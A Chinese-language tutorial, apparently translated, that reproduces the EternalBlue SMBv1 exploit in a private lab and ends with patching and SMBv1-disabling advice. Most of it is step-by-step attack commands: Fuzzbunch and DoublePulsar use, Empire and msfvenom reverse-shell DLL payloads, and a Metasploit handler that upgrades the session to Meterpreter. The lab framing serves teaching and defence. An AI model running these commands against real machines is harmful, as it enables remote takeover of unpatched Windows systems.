在本文中我将为大家复现在前段时间被曝出的,方程式0day Eternalblue的利用过程。Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞。从涵盖的操作系统版本来看,Eternalblue针对的范围也非常广泛。从Windows XP到Windows Server 2012都为其攻击对象。而Windows 10和Windows Server 2016,则并不在其利用范围。但很可能在不久后Eternalblue可能会被再次修改,因此我们应该时刻保持警惕!

Eternalblue(永恒之蓝)只是影子经纪人公布的Windows零日漏洞利用工具系列中的一款。除此之外,以“永恒”为前缀名的漏洞利用工具还有例如Eternalromance, Eternalchampion 和 Eternalsynergy,所有这些都是针对近期的Windows操作系统的。为了配置和执行对攻击目标的成功利用,其中有一款名为Fuzzbunch的漏洞利用框架,该框架基于Python 2.6开发与Metasploit框架颇为相似。在以下演示中,我将首先安装最基本的漏洞利用环境并配置Fuzzbunch,最终我将会通过Empire&Meterpreter来获取Windows 7的反弹shell。

配置Fuzzbunch并创建基本利用环境

为了达到更好的实验效果,我们将需要配备以下系统环境:

  • Windows 7 64-bit 作为被攻击目标。IP:10.11.1.253
  • Windows 7 作为Windows攻击机,并运行Fuzzbunch。IP: 10.11.1.251
  • Kali Linux 作为另一台攻击机,并运行Empire framework。IP: 10.11.1.16

在我们正式开始实验之前,我们还需要在Windows 和Kali Linux攻击机上进行一些相应的环境部署。

Windows 7相关环境的安装配置

在Windows 7攻击机上,我们需要安装Python 2.6和PyWin32 v212。安装文件可以在这里下载:

Python 2.6: https://www.python.org/download/releases/2.6/

PyWin32 v212: https://sourceforge.net/projects/pywin32/files/pywin32/Build%20212/

按照基本安装步骤首先安装Python,然后再安装PyWin32。这里需要注意的是,安装PyWin32务必以管理员身份进行,否则可能会出现报错。如果你需要再次运行安装后的脚本,则可以在以下目录中找到:

C: \Python26\Scripts

 在Kali Linux上安装Empire Framework

在Kali Linux上,我们需要安装可从Github获取的Empire框架:

Empire framework: https://github.com/EmpireProject/Empire

在Kali Linux上安装Empire Framework非常简单,只需运行./setup/install.sh脚本即可一键安装,然后运行./empire就可以启动Empire。

1-Empire-framework.jpg

配置Fuzzbunch

接下来,我们就可以到Github上下载Shadow Brokers泄露的NSA工具并将其解压到桌面。这里需要注意的是,当你从Github下载转储时,你必须要在包含fb.py(Fuzzbunch)文件的Windows目录中,创建一个名为“listeningspost”的新文件夹。

2-Fuzzbunch-listeningposts-error.jpg

最后编辑名为fuzz bund.xml的Fuzzy Bunch配置文件,并设置相应的ResourcesDir和LogDir参数:

3-Fuzzbunch-settings.jpg

现在我们就可以通过命令行来执行fb.py文件,启动Fuzzbunch。至此应该没有任何报错:

4-Starting-Fuzzbunch.jpg

如果你看到了关于缺少DLL或导入的错误提示,请确保是否已正确安装了PyWin32,并且安装后脚本是否成功完成。

配置和执行Eternalblue

至此,我们已经具备了Eternalblue漏洞利用的所有条件。执行Eternalblue需要一个目标IP和回调IP地址。这里的目标地址则为10.11.1.253(Windows 7 64-bit),而反弹地址则为 10.11.1.251(Windows 7)。

5-Fuzzbunch-target.jpg

接下来需要我们配置和指定是否重定向,和日志记录相关的一些参数,并在Fuzzbunch中创建一个新的项目。我们不会使用重定向,因此输入“no”,然后按Enter键继续。继续按回车键保持默认选项。然后我们选择选项4(或没有现有项目时为0)创建一个新项目,并将其命名为任何你喜欢的项目名称,并选择为你的新项目使用默认的日志记录位置。

6-Fuzzbunch-projects.jpg

要查看全部加载的插件/exploit类型,可以使用’use’命令。选择使用Eternalblue插件,请键入以下命令:

use Eternalblue

7-Fuzzbunch-Eternalblue-Plugin.jpg

接着Fuzzbunch会询问我们是否提示进行变量设置,我们选择yes。传输方式我们选择1‘FB’。

8-Eternalblue-delivery-mechanism.jpg

最后会询问我们,是否要执行插件:

9-Eternalblue-settings.jpg

如果一切顺利,Fuzzbunch将输出Eternalblue成功的提示:

10-Executing-Eternalblue-exploit-.jpg

配置Empire 侦听和反向DLL shell

首先,我们在Empire中设置一个侦听处理程序,并生成一个包含反向shell的恶意DLL文件。首先我们使用Empire命令创建一个监听器:

listeners set Name Eternalblue set Host http://10.11.1.16 set Port 4444 execute

 输入完成后,你可以使用list命令来检查配置内容是否正确:

11-Empire-listener-settings.jpg

接着,我们使用以下命令来创建一个包含反向shell的恶意DLL文件:

usestager dll Eternalblue set Arch x64 set OutFile /var/www/html/launcher.dll execute

 12-Empire-framework-stager-dll.jpg

DLL文件现在存储在Web根目录下。要将DLL传输到另一台Windows 7攻击机上,只需使用以下命令启动Apache Webserver即可:

service apache2 start

 现在我们就可以使用浏览器,从Windows 7攻击机上下载DLL文件了。 我们将launcher.dll文件存储在Windows文件夹中。

Msfvenom恶意DLL文件的创建

除此之外,你还可以使用msfvenom来生成恶意DLL文件,并使用多处理程序设置监听:

msfvenom -p windows/x64/meterpreter/reverse_tcp -a x64 –platform windows -f dll LHOST=192.168.1.16 LPORT=4444 > /var/www/html/launcher.dll

 以上命令将使用msfvenom,生成一个Meterpreter的有效载荷:

Eternalblue-exploit-with-Meterpreter-payload.jpg

DoublePulsar

下一步是运行DoublePulsar并注入恶意的launcher.dll文件。在Fuzzbunch中键入以下命令以使用DoublePulsar:

use DoublePulsar

13-DoublePulsar.jpg

接着DoublePulsar会为我们显示相关的目标参数,如果你的攻击目标为不同的架构,则需要选择对应的系统架构(32或64bit)。其他变量我们只需保持默认不变即可,直到功能选项出现。

14-DoublePulsar-settings.jpg

在接下来的功能选项中,我们选择2注入并运行一个DLL文件(我们之前生成的恶意DLL文件)。

15-DoublePulsar-operation.jpg

然后我们需要输入DLL文件的位置,以及其他一些选项我们默认回车即可。

16-DoublePulsar-settings.jpg

选择所有其他变量设置的默认选项,直到Fuzzbunch询问我们是否要执行DoublePulsar:

17-Executing-DoublePulsar.png

如果一切顺利,DoublePulsar将输出DoublePulsar成功的提示:

18-DoublePulsar-executing.jpg

当我们切换到运行Empire监听器的Kali Linux虚拟机时,我们应该已经获取到了目标机器的一个反向shell,但是我们无法与之进行交互:

19-Empire-reverse-shell.jpg

将Empire shell切换为Meterpreter shell

让我们来尝试下,是否可以将Empire shell切换为Meterpreter shell。我们运行以下命令设置侦听:

use exploit/multi/handler set payload windows/meterpreter/reverse_https set lhost 10.11.1.16 set lport 5555 run

 20-Empire-shell-to-Metasploit.jpg

现在,让我们再次切换回Empire并运行以下命令:

usemodule code_execution/invoke_shellcode set Lhost 10.11.1.16 set Lport 5555 execute

 21-Empire-execute-reverse-shell.jpg

当我们再次切换回Metasploit时,我们应该已经收到了一个Meterpreter shell:

Meterpreter-shell.jpg

修复建议

微软已于2017年3月份就修补了Eternalblue漏洞。如果您尚未安装补丁程序,建议您在短时间内完成此操作。另一个有效的方法是在Windows机器上禁用SMBv1。

要在Windows 8和Windows Server 2012上禁用SMBv1,请打开Windows Powershell并运行以下命令以禁用SMBv1:

Set-SmbServerConfiguration -EnableSMB1Protocol $false

 使用以下命令检查SMBv1是否已被禁用:

Get-SmbServerConfiguration | Select EnableSMB1Protocol, EnableSMB2Protocol

 Disable-SMBv1-on-Windows.jpg

在PowerShell中运行以下cmdlet,禁用Windows 7,Windows Server 2008 R2,Windows Vista和Windows Server 2008上的SMBv1协议:

Set-ItemProperty -Path “HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters” SMB1 -Type DWORD -Value 0 -Force

 总结

在本教程中我们学会了,如何使用Eternalblue远程利用SMBv1协议中的漏洞。虽然Eternalblue相比MS08-067利用起来并不轻松,但其效果都是一样的。同时,也希望通过这个例子让大家意识到定期更新Windows系统的重要性,以及技术更新换代的必要性。想要了解更多关于Eternalblue的内容,你可以查看 CVE-2017-0143 以及微软关于MS17-010的相关安全公告

*参考来源:hackingtutorials,FB小编 secist 编译